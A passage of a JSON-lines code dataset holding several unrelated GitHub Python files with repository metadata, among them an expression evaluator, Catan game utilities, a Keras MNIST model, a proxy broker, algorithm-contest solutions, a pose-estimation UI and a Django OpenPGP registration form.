\"\".join(split_expression_square_brackets)\n\n\ndef _evaluate_expression_without_brackets(expression: str):\n \"\"\"\n Evaluate a mathematical expression given as a string.\n It can include +,-,*,/,^(or **) and every name\n of the functions of the Python module math.\n No brackets. Only square brackets which contained a number are allowed.\n \"\"\"\n #Add a 0 if begins with \"-\"\n if expression[0] == \"-\":\n expression = \"0\" + expression\n expression = _add_hidden_multiplication(expression)\n multiplicative_expressions = re.split(\"([\\+-])\", expression)\n result = _evaluate_multiplicative_expression(multiplicative_expressions[0])\n len_m_exprs = len(multiplicative_expressions)\n assert len_m_exprs % 2 == 1\n for i in range(2,len_m_exprs,2):\n symbol = multiplicative_expressions[i-1]\n m_expr = multiplicative_expressions[i]\n if symbol == \"+\":\n result += _evaluate_multiplicative_expression(m_expr)\n else:\n assert symbol == \"-\", f\"Fatal error in _evaluate_expression_without_brackets: expected + or - but got {symbol}\"\n result -= _evaluate_multiplicative_expression(m_expr)\n return result\n\n\ndef _evaluate_semiexpression(semiexpression: str, start: int, level: int):\n \"\"\"\n Evaluate a mathematical expression (which is supposed to be a\n substring of a proper expression, semiexpression = expression[start:])\n until it reaches a closed bracket at the base level of indentation.\n It returns also the index of this closed bracket (if any, otherwise -1).\n\n Args:\n semiexpression: the expression under examination\n start: the characters that there were before semiexpression in the\n supposed original expression\n level: the absolute level of indentation compared to the original expression\n\n Example:\n _evaluate_expression(\"5+sqrt(4))+2\") returns (7,9).\n Indeed the first \")\" close an other bracket. The first \")\"\n at the base level is the second one, at the 9th index;\n besides, 5+sqrt(4) = 7\n \"\"\"\n try:\n first_open = semiexpression.index(\"(\")\n except ValueError:\n first_open = -1\n try:\n first_closed = semiexpression.index(\")\")\n except ValueError:\n first_closed = -1\n\n if first_open == -1:\n if first_closed == -1:\n # No brackets\n return _evaluate_expression_without_brackets(semiexpression), -1\n elif first_closed == 0:\n raise ValueError(f\"Brackets wrapping nothing at index {start}\")\n else:\n # No further open brackets.\n # Evaluate bracket-free expression until \")\"\n return _evaluate_expression_without_brackets(semiexpression[:first_closed]), first_closed\n else:\n if first_closed == -1:\n raise ValueError(f\"Unclosed bracket at index {start + first_closed}\")\n elif first_closed < first_open:\n return _evaluate_expression_without_brackets(semiexpression[:first_closed]), first_closed\n else:\n inner_start = 0\n while True: \n evaluate_first_in_brackets_expression, index_of_final_closed_bracket = _evaluate_semiexpression(semiexpression[first_open+1:], start + first_open + 1 + inner_start, level + 1)\n index_of_final_closed_bracket += first_open + 1\n len_evaluated_expression = index_of_final_closed_bracket - first_open - 1\n next = semiexpression[index_of_final_closed_bracket+1:]\n first_semiexpression = semiexpression[0:first_open] + \"[\" + str(evaluate_first_in_brackets_expression) + \"]\"\n try:\n first_closed = next.index(\")\")\n except ValueError:\n first_closed = -1\n try:\n first_open = next.index(\"(\")\n except ValueError:\n first_open = -1\n if first_closed == -1:\n if level > 0:\n raise ValueError(f\"Unclosed bracket at {start}\")\n else:\n return _evaluate_expression_without_brackets(first_semiexpression + next), -1 \n elif first_open == -1 or first_closed < first_open:\n return _evaluate_expression_without_brackets(first_semiexpression + next[:first_closed]), index_of_final_closed_bracket + first_closed + 1 + inner_start\n else:\n # Restart with the following (adjusting inner_start\n # to compensate the shift due to do evaluation):\n semiexpression = first_semiexpression + next\n first_open += len(first_semiexpression)\n inner_start += len_evaluated_expression - len(str(evaluate_first_in_brackets_expression))\n\n\ndef evaluate_expression(expression: str):\n \"\"\"\n Evaluate a mathematical expression given as a string.\n It can include +,-,*,/,^(or **),(,) and every name\n of the functions of the Python module math.\n \"\"\"\n\n result, outer_closed_bracket = _evaluate_semiexpression(expression.replace(\" \",\"\"), 0, 0)\n if outer_closed_bracket != -1:\n raise ValueError(f\"Unmatched closed bracket at index {outer_closed_bracket}\")\n return result\n \n\n\n# TEST ---------------\n\ndef test_one():\n assert evaluate_expression(\"4*(5+sqrt(12/3)+2*(2+5^1))-8\") == 76\n try:\n evaluate_expression(\"4*(5+sqrt(12/3)+2*(2+5^1))-8)\")\n except ValueError:\n pass\n else:\n assert False\n try:\n assert evaluate_expression(\"4*(5+sqrt(12/3)+2*(2+5^1)-8\")\n except ValueError:\n pass\n else:\n assert False\n assert evaluate_expression(\"2(1+2)(2**3-5)\") == 18\n\nif __name__ == \"__main__\":\n test_one()\n print(\"Done.\")","repo_name":"mattialibralato/mathExpressionCalculator","sub_path":"python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26257064627","text":"#########################################################################\n# Utils File\n# Contains utility functions, i.e. Math\n# Written by David Hwang (dchwang) for 15-112 Fall 2019 Term Project\n#########################################################################\n\nimport math, random\nfrom config.colors import Colors\n\nclass CatanMath(object):\n # Draws an equilateral triangle from a hexagon outside the hexagon\n @staticmethod\n def getEqTriangle(screen, point1, point2, center):\n x1, y1 = point1\n x2, y2 = point2\n cx, cy = center\n dx = -(cx - x1)\n dy = -(cy - y1)\n newX = x2 + dx\n newY = y2 + dy\n return (point1, point2, (newX, newY))\n \n # Gets coordinates of all hexagon points\n @staticmethod\n def getHexagonPoints(bounds):\n x0, y0, x1, y1 = bounds\n width = x1 - x0\n height = y1 - y0\n point1 = (x0, y0 + height/4)\n point2 = (x0+width/2, y0)\n point3 = (x1, y0 + height/4)\n point4 = (x1, y0 + 3*height/4)\n point5 = (x0+width/2, y1)\n point6 = (x0, y0 + 3*height/4)\n return [point1, point2, point3, point4, point5, point6]\n \n # Get the dimensions of a thick anti-aliased line\n # Based on solution by Yannis Assael\n # https://stackoverflow.com/questions/30578068/pygame-draw-anti-aliased-thick-line\n @staticmethod\n def getThickAALine(point1, point2, thickness=3):\n x1, y1 = point1\n x2, y2 = point2\n cx, cy = (x1 + x2) / 2, (y1 + y2) / 2\n length = CatanMath.distance(point1, point2)\n angle = math.atan2(y1-y2, x1-x2)\n # Dimension calculations\n upperLeft = (cx + (length / 2.) * math.cos(angle) - (thickness / 2.) * math.sin(angle),\n cy + (thickness / 2.) * math.cos(angle) + (length / 2.) * math.sin(angle))\n upperRight = (cx - (length / 2.) * math.cos(angle) - (thickness / 2.) * math.sin(angle),\n cy + (thickness / 2.) * math.cos(angle) - (length / 2.) * math.sin(angle))\n bottomLeft = (cx + (length / 2.) * math.cos(angle) + (thickness / 2.) * math.sin(angle),\n cy - (thickness / 2.) * math.cos(angle) + (length / 2.) * math.sin(angle))\n bottomRight = (cx - (length / 2.) * math.cos(angle) + (thickness / 2.) * math.sin(angle),\n cy - (thickness / 2.) * math.cos(angle) - (length / 2.) * math.sin(angle))\n return (upperLeft, upperRight, bottomRight, bottomLeft)\n\n @staticmethod\n def distance(point1, point2):\n x1, y1 = point1\n x2, y2 = point2\n return math.sqrt((x2-x1)**2 + (y2-y1)**2)\n\nclass Utils(object):\n RESOURCES = ['lumber', 'brick', 'sheep', 'grain', 'ore']\n VICTORY_POINT_THRESHOLD = 10\n\n # Returns the resource name from the type of tile\n @staticmethod\n def getResourceFromType(type):\n resources = {'forest':'lumber', 'desert':None,\n 'hills':'brick', 'mountains':'ore',\n 'pasture':'sheep', 'fields':'grain',\n None:None}\n return resources[type]\n \n @staticmethod\n def stealRandomResource(victim):\n validSteals = ['lumber', 'brick', 'ore', 'sheep', 'grain']\n for key in victim.resources:\n if (victim.resources[key] == 0):\n validSteals.remove(key)\n return random.choice(validSteals)\n \n @staticmethod\n def getProbabilityFromNumber(n):\n probabilities = {2:1, 3:2, 4:3, 5:4, 6:5, 8:5, 9:4, 10:3, 11:2, 12:1}\n return probabilities[n]\n \n # Gets the fill of each hex depending on the Tile type\n @staticmethod\n def getFill(tile):\n colors = {'forest':Colors.FOREST, 'desert':Colors.DESERT,\n 'hills':Colors.HILLS, 'mountains':Colors.MOUNTAINS,\n 'pasture':Colors.PASTURE, 'fields':Colors.FIELDS,\n None:Colors.WHITE}\n tileFill = colors[tile.type]\n return tileFill\n","repo_name":"hdavidethan/catan-tp","sub_path":"resources/game/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13458550410","text":"import json\nimport apiUniversalis as api\nversion = 'v2'\n\"\"\"\nType of database: JSON\nPurpose:\n - Structured storage of items, their IDs (required for some interfaces), pricing (user-defined value)\n - Provides information on item dependencies (crafting)\n - Called on by scripts to provide meta-information and can be updated by scripts\n3rd party permissions: read/write\nStructure:\n{\n \"version\": version, #string, version\n \"data\": [ #list, item entry\n {\n \"id\": 0, #int, ID of the item\n \"name\": \"\", #item name\n \"price\": 0, # average price history on FFXIV marketboard\n \"lastUpdate\": \"\", # last date an interface updated info of the entry\n \"acquisition\": \"\", # whether item is crafted, gathered, or bought from vendor\n \"ingredients\": [ # required items to craft 1 of entry\n {\n \"id\": 0, # itemID of item N\n \"quantity\": 0 # required number of item N for 1 craft\n } # ingredient N\n ]\n }\n ]\n}\n\"\"\"\n#%% Item JSON Database Class\nclass ItemDatabase:\n def __init__(self,itemName):\n self.name = itemName\n\n def newEntry(self): #provide directory and name for database \n entry = {\n \"id\": 0, #int, ID of the item\n \"name\": self.name, #str, item name\n \"price\": 0, #int, average price history on FFXIV marketboard\n \"lastUpdate\": \"\", #str, last date an interface updated info of the entry\n \"acquisition\": \"\" #str, 'crafted' or 'gathered' - crafted should need ingredients entry\n }\n return entry\n\n def newIngredientsEntry(self):\n # This should somehow figure out what the materials/ingredients required are for 1 craft\n # Placeholder (R&D required)\n pass\n\n def newIDListing(self): # Create new entry in data structure with input item name and find item ID with API\n entry = ItemDatabase(self.name).newEntry()\n url = rf\"https://xivapi.com/search?indexes=item&string={self.name}\"\n response, newItemID = api.itemIDSearch(url,self.name)\n if response.status_code != 200:\n print(f\"Something went wrong fetching ID from XIVAPI, status code: {response.status_code}\")\n entry[\"id\"] = newItemID[\"ID\"]\n return entry, response\n\n#%% Changelog\n\"\"\"\n v2 (2023/*)\n revise data structure (include version, list data in array, sortable)\n\n v1 (2023/09/23)\n Set-up database with ID, name, price, last update.\n\"\"\"","repo_name":"TowaXIV/FFXIV-Funhouse","sub_path":"itempropertydatabase.py","file_name":"itempropertydatabase.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16392318210","text":"from keras.datasets import mnist\nfrom keras.models import Sequential, Model\nfrom keras.layers import Dense, Dropout, LSTM, GRU, SimpleRNN, Conv1D, Flatten, Conv2D, MaxPooling2D, Reshape, Input\nfrom sklearn.preprocessing import MinMaxScaler\nimport numpy as np\nfrom sklearn.metrics import accuracy_score\nfrom tensorflow.keras.callbacks import EarlyStopping\n\n#1 데이터\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\n# print(x_train.shape, x_test.shape) #(60000, 28, 28) (10000, 28, 28)\n\nx_train = x_train.reshape(-1,28,28,1)/255. #리쉐잎하면서 스케일링까지 된거 이미지라 255로 나눈다\nx_test = x_test.reshape(-1,28,28,1)/255.\n\nprint(x_train.shape, x_test.shape) #(60000, 28, 28, 1) (10000, 28, 28, 1)\n\n\n\nprint(np.unique(y_train, return_counts = True)) #[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\nfrom tensorflow.keras.utils import to_categorical\ny_train = to_categorical(y_train)\ny_test = to_categorical(y_test)\n\n# x_train = x_train.reshape(-1, 28,28)\n# x_test = x_test.reshape(-1,28,28)\n\n#2 모델구성\ninput1 = Input(shape = (28,28,1))\nconv1 = Conv2D(64,3,padding = 'same')(input1)\nmaxp = MaxPooling2D()(conv1)\nconv2 = Conv2D(32,3)(maxp)\nconv3 = Conv2D(10,3)(conv2)\nmaxp1 = MaxPooling2D()(conv3)\nflat = Flatten()(maxp1)\nreshape1 = Reshape(target_shape=(25,10))(flat)\nconv4 = Conv1D(10,3,padding='same')(reshape1)\nlstm1 = LSTM(784)(conv4)\nreshape2 = Reshape(target_shape = (28,28,1))(lstm1)\nconv5 = Conv2D(32,3,padding='same')(reshape2)\nflat1 = Flatten()(conv5)\noutput1 = Dense(10, activation = 'softmax')(flat1)\nmodel = Model(inputs =input1, outputs = output1)\n\n\nes = EarlyStopping(monitor = 'acc', mode = 'max', patience = 50, verbose=1, restore_best_weights=True)\nmodel.compile(loss = 'categorical_crossentropy',optimizer='adam', metrics = ['acc'])\nmodel.fit(x_train, y_train, epochs = 10000, batch_size = 32, validation_split=0.2 , callbacks = [es])\n \nresults = model.evaluate(x_test, y_test)\nprint('results:', results)\n\ny_predict = model.predict(x_test)\ny_test_acc = np.argmax(y_test, axis=1)\ny_predict_acc = np.argmax(y_predict, axis=1)\n\nacc = accuracy_score(y_test_acc, y_predict_acc)\nprint('acc:', acc)\n","repo_name":"rlaxoghd0513/study","sub_path":"keras/keras50_Reshape2_hamsu.py","file_name":"keras50_Reshape2_hamsu.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9795120107","text":"from mimic.broker import Broker\nfrom mimic.domain_monitor import DomainMonitor\nfrom mimic.util import parse_and_intern_domain\n\n\nclass Brokerage:\n def __init__(self, proxy_collection, broker_opts=None):\n self._proxy_collection = proxy_collection\n self._broker_opts = broker_opts or {}\n self._brokers = {}\n\n async def acquire(self, request_url, requirements, max_wait_time):\n domain = parse_and_intern_domain(request_url)\n broker = self._brokers.get(domain)\n if not broker:\n monitor = DomainMonitor(domain)\n self._proxy_collection.register_domain_monitor(monitor)\n broker = Broker(monitor, **self._broker_opts)\n self._brokers[domain] = broker\n\n return {'broker': domain,\n 'proxy': await broker.acquire(*requirements,\n max_wait_time=max_wait_time)}\n\n async def release(self, domain, proxy, response_time, is_failure):\n broker = self._brokers.get(domain)\n if not broker:\n return False\n\n broker.release(proxy, response_time, is_failure)\n return True\n\n def list_all(self):\n return {k: v.stats() for k, v in self._brokers.items()}\n\n def delete(self, broker):\n pass\n\n def register_on_all(self, proxy_obj):\n for broker in self._brokers.values():\n broker.monitor.register(proxy_obj)\n","repo_name":"jbn/mimic","sub_path":"mimic/brokerage.py","file_name":"brokerage.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5699213066","text":"# Baekjoon Online Judge - 17471번. 게리맨더링\n\nfrom collections import deque\n\n\ndef bfs(arr):\n b_visited = [False] * (N + 1)\n q = deque()\n q.append(arr[0])\n temp = [arr[0]]\n b_visited[arr[0]] = True\n while q:\n node = q.popleft()\n for n in graph[node]:\n if not b_visited[n] and n in arr:\n b_visited[n] = True\n q.append(n)\n temp.append(n)\n if set(temp) == set(arr):\n return True\n else:\n return False\n\n\ndef dfs(cnt, k):\n global answer\n if cnt == k:\n area_1, area_2 = [], []\n for v in range(1, N + 1):\n if visited[v]:\n area_1.append(v)\n else:\n area_2.append(v)\n if bfs(area_1) and bfs(area_2):\n a, b = 0, 0\n for z in area_1:\n a += people[z]\n for z in area_2:\n b += people[z]\n answer = min(answer, abs(a - b))\n return\n\n for i in range(1, N + 1):\n if not visited[i]:\n visited[i] = True\n dfs(cnt + 1, k)\n visited[i] = False\n\n\nN = int(input())\npeople = [0] + list(map(int, input().split()))\ngraph = [[] for _ in range(N + 1)]\nINF = 987654321\nanswer = INF\nfor i in range(1, N + 1):\n info = list(map(int, input().split()))\n if len(info) > 1:\n for num in info[1:]:\n if num not in graph[i] and i not in graph[num]:\n graph[i].append(num)\n graph[num].append(i)\n\nfor i in range(1, N // 2 + 1):\n visited = [False] * (N + 1)\n dfs(0, i)\nif answer == INF:\n print(-1)\nelse:\n print(answer)","repo_name":"wnstj-yang/Algorithm","sub_path":"BOJ/BOJ_17471.py","file_name":"BOJ_17471.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23499099147","text":"#Importing pandas library\nimport pandas as pd \n#Importing matplolib library\nimport matplotlib.pyplot as plt \n\n#Read csv file and call it data\ndata = pd.read_csv('iris_data_set.csv')\n\n#labelling x axis and y axis\nx = data.species\ny = data.petal_length\n\nplt.scatter(x,y)\n\n#Naming the scatter plot of the petal length data\ntitle = (\"Petal Length Comparison Plot\")\n#Plotting the petal length data on a petal plot\nplt.show()","repo_name":"chloemcgarry/project-pands","sub_path":"scatterplotpl.py","file_name":"scatterplotpl.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23565671331","text":"import random\nimport time\n\nimport numpy as np\n\nres_path = \"../../../../downloads/\"\n\ndef solve_line(line):\n\tn = int(line)\n\tL = len(line)\n\tcandidates = {line}\n\tfor index in range(L):\n\t\tif int(line[index]) > 0:\n\t\t\ts = line[:index] + str(int(line[index])-1) + \"9\"*(L-index-1)\n\t\t\tcandidates.add(s)\n\tsolutions = set(candidates)\n\tfor s in candidates:\n\t\tfor i in range(1,L):\n\t\t\tif int(s[i]) < int(s[i-1]):\n\t\t\t\tsolutions.remove(s)\n\t\t\t\tbreak\n\treturn max(int(it) for it in solutions)\n\t\n\ndef mymain():\n\tinput_name = \"B-large\"\n\toutput = open(res_path + input_name + \".out\", \"w\")\n\tinput_lines = open(res_path + input_name + \".in\").readlines()\n\tinput_lines = input_lines[1:]\n\tinput_lines = [line.strip() for line in input_lines]\n\tfor i, line in enumerate(input_lines):\n\t\tsolution = solve_line(line)\n\t\toutput_line = \"Case #{}: {}\\n\".format(i+1, solution)\n\t\toutput.writelines(output_line)\n\t\tprint(output_line, end=\"\")\n\t\n\t\n\n\nif __name__ == \"__main__\":\n\tprint(\"starting...\")\n\tstart = time.time()\n\trandom.seed(0)\n\tnp.random.seed(0)\n\tmymain()\n\tend = time.time()\n\tprint(\"elapsed time: {:.5f}s\".format(end - start))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/88.py","file_name":"88.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7540671396","text":"import jax\nimport jax.numpy as numpy\n\nimport math\n\ndef unflatten_tensor_like_example(inputs, example_target):\n\n\n # Use this to keep track of where the flat index is:\n running_index = 0;\n # Flatten the example tree:\n leaf_values, treedef = jax.tree_util.tree_flatten(example_target)\n\n input_leaf_values = []\n\n for leaf_value in leaf_values:\n # How big is the leaf?\n input_size = leaf_value.size\n # Take a slice that size:\n input_slice = inputs[running_index:running_index+input_size]\n # Add it to the output tree values shaped properly:\n input_leaf_values.append(input_slice.reshape(leaf_value.shape))\n # Update the start point\n running_index += input_size\n\n return jax.tree_util.tree_unflatten(treedef, input_leaf_values)\n\ndef unflatten_tensor_into_tree(inputs, shapes, treedef):\n\n # Use this to keep track of where the flat index is:\n running_index = 0;\n\n input_leaf_values = []\n\n for shape in shapes:\n # How big is the leaf?\n input_size = math.prod(shape)\n # Take a slice that size:\n input_slice = inputs[running_index:running_index+input_size]\n # Add it to the output tree values shaped properly:\n input_leaf_values.append(input_slice.reshape(shape))\n # Update the start point\n running_index += input_size\n\n return jax.tree_util.tree_unflatten(treedef, input_leaf_values)\n\ndef flatten_tree_into_tensor(input_tree):\n\n # Flatten the tree structure into a flat structure:\n leaf_values, treedef = jax.tree_util.tree_flatten(input_tree)\n\n # Extract the shapes of the tensors:\n shapes = [ t.shape for t in leaf_values ]\n\n # Flatten every tensor:\n flattened = [t.flatten() for t in leaf_values ]\n\n # Combine the tensors:\n flat_tensor = numpy.concatenate(flattened, axis=0)\n\n return flat_tensor, shapes, treedef\n","repo_name":"coreyjadams/DiffSim","sub_path":"diffsim/utils/tensor_ops.py","file_name":"tensor_ops.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23544377291","text":"import sys \r\nsys.stdin.readline()\r\nlinenum = 1\r\ndef minflips(pancakes, k):\r\n flips = 0\r\n if k == 0:\r\n return 'IMPOSSIBLE'\r\n for pos in range(len(pancakes) - k + 1):\r\n if pancakes[pos] == '-':\r\n for curpancake in range(pos, pos + k):\r\n if pancakes[curpancake] == '-':\r\n pancakes = pancakes[:curpancake] + '+' + pancakes[curpancake+1:] \r\n else:\r\n pancakes = pancakes[:curpancake] + '-' + pancakes[curpancake+1:]\r\n flips += 1\r\n if '-' not in pancakes:\r\n return flips \r\n else:\r\n \r\n return 'IMPOSSIBLE'\r\n \r\nfor line in sys.stdin:\r\n print('Case #%d: ' % linenum, end = '')\r\n linenum += 1\r\n if line[-1] == '\\n':\r\n print(minflips(line[:line.find(' ')], int(line[line.find(' ') + 1: -1])))\r\n else:\r\n print(minflips(line[:line.find(' ')], int(line[line.find(' ')+ 1:])))\r\n \r\n\r\n \r\n ","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/2751.py","file_name":"2751.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24079458641","text":"import os\nimport cv2\n\nimport threading\nfrom PyQt5.QtCore import QFile\nfrom PyQt5.QtWidgets import QFileDialog, QMessageBox\nfrom PyQt5.QtGui import QImage, QPixmap\n\nfrom tqdm import tqdm\nimport numpy as np\nfrom argparse import ArgumentParser\nimport ipdb;pdb=ipdb.set_trace\nimport time\n\nfrom joints_detectors.hrnet.pose_estimation.video import getTwoModel, getKptsFromImage\nbboxModel, poseModel = getTwoModel()\ninterface2D = getKptsFromImage\n\nfrom tools.utils import draw_2Dimg, resize_img\n\n\nclass Display:\n def __init__(self, ui, mainWindow):\n self.ui = ui\n self.mainWindow = mainWindow\n\n # set default video source as camera stream\n self.ui.radioButtonCam.setChecked(True)\n self.isCamera = True\n\n # set signal \n ui.Open.clicked.connect(self.Open)\n ui.Close.clicked.connect(self.Close)\n ui.radioButtonCam.clicked.connect(self.radioButtonCam)\n ui.radioButtonFile.clicked.connect(self.radioButtonFile)\n\n # create a close event defaulted by stop\n self.stopEvent = threading.Event()\n self.stopEvent.clear()\n\n def radioButtonCam(self):\n self.isCamera = True\n \n def radioButtonFile(self):\n self.isCamera = False\n\n def Open(self):\n if not self.isCamera:\n # todo video length\n self.fileName, self.fileType = QFileDialog.getOpenFileName(self.mainWindow, 'Choose file', '', '*.mp4')\n self.cap = cv2.VideoCapture(self.fileName)\n self.frameRate = self.cap.get(cv2.CAP_PROP_FPS)\n else:\n self.cap = cv2.VideoCapture(0)\n\n th = threading.Thread(target=self.Display)\n th.start()\n \n def Close(self):\n self.stopEvent.set()\n\n def Display(self):\n self.ui.Open.setEnabled(False)\n self.ui.Close.setEnabled(True)\n\n while self.cap.isOpened():\n success, frame = self.cap.read()\n frame, W, H = resize_img(frame)\n try:\n # get 2d pose keypoints from image using pose estimator (hrnet)\n joint2D = interface2D(bboxModel, poseModel, frame)\n \n except Exception as e:\n print(e)\n continue\n\n # draw pose keypoints into source image\n img = draw_2Dimg(frame, joint2D, None)\n \n # RGB to BGR\n img_bgr = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)\n img_out = QImage(img_bgr.data, W, H, QImage.Format_RGB888)\n self.ui.DisplayLabel.setPixmap(QPixmap.fromImage(img_out))\n\n if self.isCamera:\n cv2.waitKey(1)\n else:\n cv2.waitKey(int(1000/self.frameRate))\n \n if self.stopEvent.is_set() == True:\n self.stopEvent.clear()\n self.ui.DisplayLabel.clear()\n self.ui.Close.setEnabled(False)\n self.ui.Open.setEnabled(True)\n self.cap.release()\n break\n\ndef show_ui():\n import sys\n import DisplayUI\n from PyQt5.QtWidgets import QApplication, QMainWindow\n \n app = QApplication(sys.argv)\n mainWindow = QMainWindow()\n ui = DisplayUI.Ui_MainWindow()\n\n ui.setupUi(mainWindow)\n display = Display(ui, mainWindow)\n mainWindow.show()\n\n sys.exit(app.exec_())\n\n\ndef show_cv2():\n # use camera\n cap=cv2.VideoCapture(0)\n while True:\n # read every frame from camera\n _, frame = cap.read()\n frame, W, H = resize_img(frame)\n\n try:\n t0 = time.time()\n # get 2d pose keypoints from image using pose estimator (hrnet)\n joint2D = interface2D(bboxModel, poseModel, frame)\n except Exception as e:\n print(e)\n continue\n\n # draw pose keypoints into source image\n img = draw_2Dimg(frame, joint2D, None)\n cv2.imshow('result_view', img)\n\n # exit control\n if cv2.waitKey(1) & 0xff == ord('q'):\n cap.release()\n break\n # print('total comsume {:0.3f} s'.format(time.time() - t0))\n\n\nif __name__ == '__main__':\n parser = ArgumentParser()\n args = parser.parse_args()\n # show_cv2()\n show_ui()\n","repo_name":"WinstonDeng/realtime_pose","sub_path":"tools/hrnet_2d_realtime_UI.py","file_name":"hrnet_2d_realtime_UI.py","file_ext":"py","file_size_in_byte":4176,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"74428560515","text":"import polars as pl\nfrom declafe.pl.feature_gen.types import ColLike\nimport talib\nfrom typing import cast\n\nfrom declafe.pl.feature_gen.quadri.quadri_feature import QuadriFeature\n\n\nclass ADOSCFeature(QuadriFeature):\n\n def __init__(self,\n high: ColLike,\n low: ColLike,\n close: ColLike,\n volume: ColLike,\n fastperiod: int = 3,\n slowperiod: int = 10):\n super().__init__(high, low, close, volume)\n self.fastperiod = fastperiod\n self.slowperiod = slowperiod\n\n def _quadri_expr(self, col1: pl.Expr, col2: pl.Expr, col3: pl.Expr,\n col4: pl.Expr) -> pl.Expr:\n return cast(pl.Expr, pl.struct([col1, col2, col3, col4])).map(\n lambda s: talib.ADOSC(s.struct.field(self.col1_feature.feature_name),\n s.struct.field(self.col2_feature.feature_name),\n s.struct.field(self.col3_feature.feature_name),\n s.struct.field(self.col4_feature.feature_name),\n fastperiod=self.fastperiod,\n slowperiod=self.slowperiod))\n\n def _feature_names(self) -> list[str]:\n return [\n f'ADOSC({self.fastperiod}, {self.slowperiod})({self.col1_feature.feature_name}, {self.col2_feature.feature_name}, {self.col3_feature.feature_name}, {self.col4_feature.feature_name})'\n ]\n","repo_name":"kazchimo/declafe","sub_path":"declafe/pl/feature_gen/quadri/talib/adosc_feature.py","file_name":"adosc_feature.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23531473361","text":"#!/usr/bin/python3\n\ndef get_lines(filename):\n lines = []\n try:\n with open(filename, 'r') as f:\n while True:\n line = f.readline().rstrip('\\n')\n if line == '':\n break\n lines.append(line)\n except EOFError:\n pass\n return lines\n\ndef get_line(f):\n return f.readline().rstrip('\\n')\n\ndef solve(line):\n c = {}\n res = []\n a = [('Z', 0), ('W', 2), ('U', 4), ('X', 6), ('S', 7), ('V', 5), ('G', 8), ('O', 1), ('H', 3), ('I', 9)]\n numbers = [\"ZERO\", \"ONE\", \"TWO\", \"THREE\", \"FOUR\", \"FIVE\", \"SIX\", \"SEVEN\", \"EIGHT\", \"NINE\"]\n for letter, number in a:\n #print(line)\n c[letter] = line.count(letter)\n\n #print(c)\n for letter, number in a:\n #print(c[letter])\n temp = c[letter]\n res.append(str(number) * temp)\n for character in numbers[number]:\n #print(character)\n if character in c.keys():\n c[character] -= temp\n #print(c)\n #print(res)\n return ''.join(sorted(res))\n return ''.join(l)\n\n\nif __name__ == '__main__':\n filename = 'input/A-test.in'\n filename = 'input/A-small-attempt1.in'\n filename = 'input/A-large.in'\n lines = (get_lines(filename))\n cases = int(lines[0])\n with open(\"output/outputA.txt\", \"w\") as f:\n for case in range(0, cases):\n out = (\"Case #%d: \" % (case+1)) + solve(lines[case+1])\n print(out)\n f.write(out + '\\n')\n\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_184/990.py","file_name":"990.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8154179693","text":"from django import forms\n\nclass RegisterForm(forms.Form):\n\terror_css_class = \"text-error\"\n\trequired_css_class = error_css_class\n\n\tusername = forms.RegexField(regex='^[A-Za-z0-9_\\-]+$', max_length=30)\n\tpubkey_file = forms.FileField(required=False)\n\tpubkey_string = forms.CharField(required=False, widget=forms.Textarea())\n\n\tdef clean(self):\n\t\tcleaned_data = super(RegisterForm, self).clean()\n\t\tpubkey_string = cleaned_data.get('pubkey_string')\n\t\tpubkey_file = cleaned_data.get('pubkey_file')\t\n\t\tif not (pubkey_string or pubkey_file):\n\t\t\traise forms.ValidationError(\"The OpenPGP public key must be uploaded as a file or entered as ASCII-armored plain text.\")\n\t\tpubkey = self.get_pubkey()\n\t\tif not (pubkey.find(\"-----BEGIN PGP PUBLIC KEY BLOCK-----\") == 0 and pubkey.endswith(\"-----END PGP PUBLIC KEY BLOCK-----\")):\n\t\t\traise forms.ValidationError(\"Invalid OpenPGP public key.\")\n\t\tself.pubkey = pubkey\n\t\treturn cleaned_data\n\n\tdef get_pubkey(self):\n\t\tif getattr(self, 'cleaned_data', None):\n\t\t\tif self.cleaned_data.get('pubkey_file'):\n\t\t\t\treturn self.cleaned_data['pubkey_file'].read().strip()\n\t\t\telif self.cleaned_data.get('pubkey_string'):\n\t\t\t\treturn self.cleaned_data['pubkey_string'].strip()\n\t\treturn None\n","repo_name":"kz26/myelin","sub_path":"app/openpgp_auth/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} 